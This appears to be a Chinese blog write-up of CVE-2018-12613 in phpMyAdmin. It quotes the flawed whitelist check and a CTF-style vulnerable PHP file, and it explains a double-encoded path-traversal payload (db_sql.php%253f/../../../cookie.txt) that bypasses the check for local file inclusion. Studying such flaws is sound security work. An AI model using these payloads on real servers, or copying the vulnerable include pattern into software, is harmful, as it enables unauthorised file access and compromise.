复现 CVE-2018-12613 的一些思考,关于文件包含路径的问题

漏洞

/index.php 第 55 行

$target_blacklist = array (
'import.php', 'export.php'
); if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

传入参数 target 需要满足

  1. 不以 index.php 开头
  2. 不在 target_blacklist 中
  3. 通过 checkPageValidity() 函数检验

checkPageValidity() 函数

public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} return false;
}

第一个返回 True 的地方,直接将 page 与 whitelist 比较,传入的必须是白名单里的文件名,无法绕过

 if (in_array($page, $whitelist)) {
return true;
}

第二个返回 True 的地方,mb_strpos($x, $y) 函数查找 $y 在 $x 中首次出现的位置。mb_substr($str, $start, $length) 函数从 $str 中,截取从 $start 位置开始,长度为 $length 的字符串。

但是在这里如果直接构造 payload : ?target=db_sql.php?/../../../cookie.txt 并不能跨路径包含,? 后面的字符串会被当做传入 db_sql.php 的参数,这就要利用后面的 urldecode 了

 $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

第三个返回 True 的地方,可以利用双重编码绕过,将 ? 经过两次编码 %253f 就可以绕过白名单验证。%253f 传入时,首先会被自动解码一次,变成 %3f,然后urldecode() 再解码一次,就变成了 ?

此时的 payload : ?target=db_sql.php%253f/../../../cookie.txt

  $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

问题

  1. include 'db_sql.php%253f/../../../cookie.txt' 为什么只会包含 cookie.txt 而不会包含 db_sql.php

  2. 传入 db_sql.php%253f/../../../cookie.txt 为什么会在 in_array($_page, $whitelist) 处返回 True

  3. 如图,z.php 中 include 两个 ../ 可以包含,y.php 中一个 include 也可以包含

  4. 在 php 的 include 中,include 'hint.php?/../cookie.txt'; 会报错,include 'hint.php%3f/../cookie.txt'; 不会报错,且可以成功包含

一些解释

在 include 中,举个例子,假设 x.php 代码包含 include '1source.phps/../cookie.txt'; ,假设 1source.phps 不存在,那么这个文件包含等同于 : 在 1source.phps 文件夹目录下的上一级中的 cookie.txt ,也就是和 x.php 在同一目录下的 cookie.txt ,如果 1source.phps 存在,并且它是一个文件,那么肯定会报错,如果它是一个文件夹,也会成功包含 cookie.txt 。如果变为 include '1source.phps/./cookie.txt'; ,道理和上面相同

重新思考

  • 代码如下 :

     <?php
    highlight_file(__FILE__);
    class emmm
    {
    public static function checkFile(&$page)
    {
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
    if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
    }
    if (in_array($page, $whitelist)) {
    return true;
    }
    $_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
    return true;
    }
    $_page = urldecode($page);
    $_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
    ); if (in_array($_page, $whitelist)) {
    return true;
    }
    echo "you can't see it";
    return false;
    }
    } if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
    ) {
    include $_REQUEST['file'];
    exit;
    } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
    ?>
    • 传入 file=hint.php ,在第一个 in_array 处会返回 true,然后直接包含 hint.php
    • 传入 file=hint.php?/../cookie.txt ,在第二个 in_array 处会返回 true,第二个 in_array 中的 _pagehint.php ,然后包含 hint.php?/../cookie.txt ,但是这里的 ? 起到传递参数的作用而不是破坏路径
    • 传入 file=hint.php%253f/../cookie.txt ,在第三个 in_array 处会返回 true ,第三个 in_array 中的 _pagehint.php ,然后包含 hint.php%3f/../cookie.txt ,这里的 %3f? ,破坏了路径,前面部分的路径不存在,可以包含后面的文件

CVE-2018-12613 的一些思考的更多相关文章

  1. 深入剖析最新IE0day漏洞

    在2018年4月下旬,我们使用沙箱发现了IE0day漏洞;自从在野外发现上一个样本(CVE-2016-0189)已经有两年多了.从许多方面来看,这个特别的漏洞及其后续的开发比较有趣.下一篇文章将分析最 ...

  2. 《Link Prediction with Personalized Social Influence》论文解读

    论文:Huo, Zepeng, Xiao Huang, and Xia Hu. "Link Prediction with Personalized Social Influence.&qu ...

  3. 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...

  4. Debian Security Advisory(Debian安全报告) DSA-4405-1 openjpeg2

    package :openjpeg2 相关CVE ID: CVE-2017-17480 CVE-2018-5785 CVE-2018-6616 CVE-2018-14423 CVE-2018-1808 ...

  5. 2018-2019-2 20165330《网络对抗技术》Exp5 MSF基础应用

    目录 基础问题 相关知识 实验目的 实验内容 实验步骤 离实战还缺些什么技术或步骤? 实验总结与体会 实验目的 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路 返回目 ...

  6. 2018-2019-2 网络对抗技术 20165230 Exp5 MSF基础应用

    目录 1.实验内容 2.基础问题回答 3.实验内容 任务一:一个主动攻击实践 漏洞MS08_067(成功) 任务二:一个针对浏览器的攻击 ms11_050(成功) ms14_064(成功) 任务三:一 ...

  7. c语言实践 打印字母三角形

    效果如下: 我是怎么想的: 总共需要打印6行字母,那么就需要一个循环来控制打印第几行,大概代码如下: for(int i=0;i<6;i++) { } 每行都会打印字母,而且循环越往后,需要打印 ...

  8. Linux提权常用漏洞速查表

    漏洞列表 #CVE #Description #Kernels CVE–2018–18955 [map_write() in kernel/user_namespace.c allows privil ...

  9. 对EasyDarwin开源项目2018的思考与2019发展的规划:继续站在巨人的肩膀引入更多巨人

    EasyDarwin@2018思考 从2012年开始接触Darwin Streaming Server,到2018年从底层开始完全重新架构.研发.完成,EasyDarwin这个项目已经发展了6年了,时 ...

  10. 2018.8.3 Java中容易犯错误的问题思考与总结

    Java容易犯错误的问题思考 float型 float f = 3.4 是否正确 不正确,应该用强制类型转换.如下所示:float f = (float)3.4 或float f = 3.4f 在ja ...

随机推荐

  1. MySQL逻辑分层介绍

    上一篇文章主要介绍了MySQL在Ubuntu18.04系统上的安装,以及安装过程中可能会遇到的一些问题的解决方案. 在这篇文章里,开始介绍MySQL数据库的逻辑分层.通过本文的介绍,可以大致了解到My ...

  2. STM32CubeMx——串口收发

    生成代码 1.配置串口1 2.选择模式 3.开中断 4.其他的RCC.调试都一样,弄完直接生成代码. 串口发送 1.定义一个用来测试的数组并初始化 /* USER CODE BEGIN 0 */ ui ...

  3. coding++:拦截器拦截requestbody数据如何防止流被读取后数据丢失

    1):现在开发的项目是基于SpringBoot的maven项目,拦截器的使用很多时候是必不可少的,当有需要需要你对body中的值进行校验,例如加密验签.防重复提交.内容校验等等. 2):当你开开心心的 ...

  4. 基于.NetCore3.1搭建项目系列 —— 使用Swagger导出文档 (番外篇)

    前言 回顾之前的两篇Swagger做Api接口文档,我们大体上学会了如何在net core3.1的项目基础上,搭建一套自动生产API接口说明文档的框架. 本来在Swagger的基础上,前后端开发人员在 ...

  5. Web 环境设置

    修改最大打开文件数量 ulimit -n 100000 修改创建文件的最大值 #/etc/security/limits.conf * soft nofile 262140 * hard nofile ...

  6. js实现 多级联动

    <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8&quo ...

  7. js 实现浏览器全屏效果

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. 个人hexo博客(静态,无后台)搭建

    博客搭建 1.工具安装 安装Node.js,其中包含Node.js和npm(包管理器) 利用npm安装cnpm(淘宝的npm,速度在国内更快) npm install -g cnpm --regist ...

  9. Windows恢复分区管控命令reagentc

    reagentc命令可以实现Windows恢复分区的开关,创建.删除,状态查看. 可以只管确定当前系统恢复分区所在位置,便于删除多余的恢复分区.

  10. python socket简介

    一.socket是什么 socket是应用层与TCP/IP协议通信的中间软件抽象层,它是一组接口.在设计模式中,socket其实就是一个门面模式,它把复杂的TCP/IP协议隐藏在socket接口后面, ...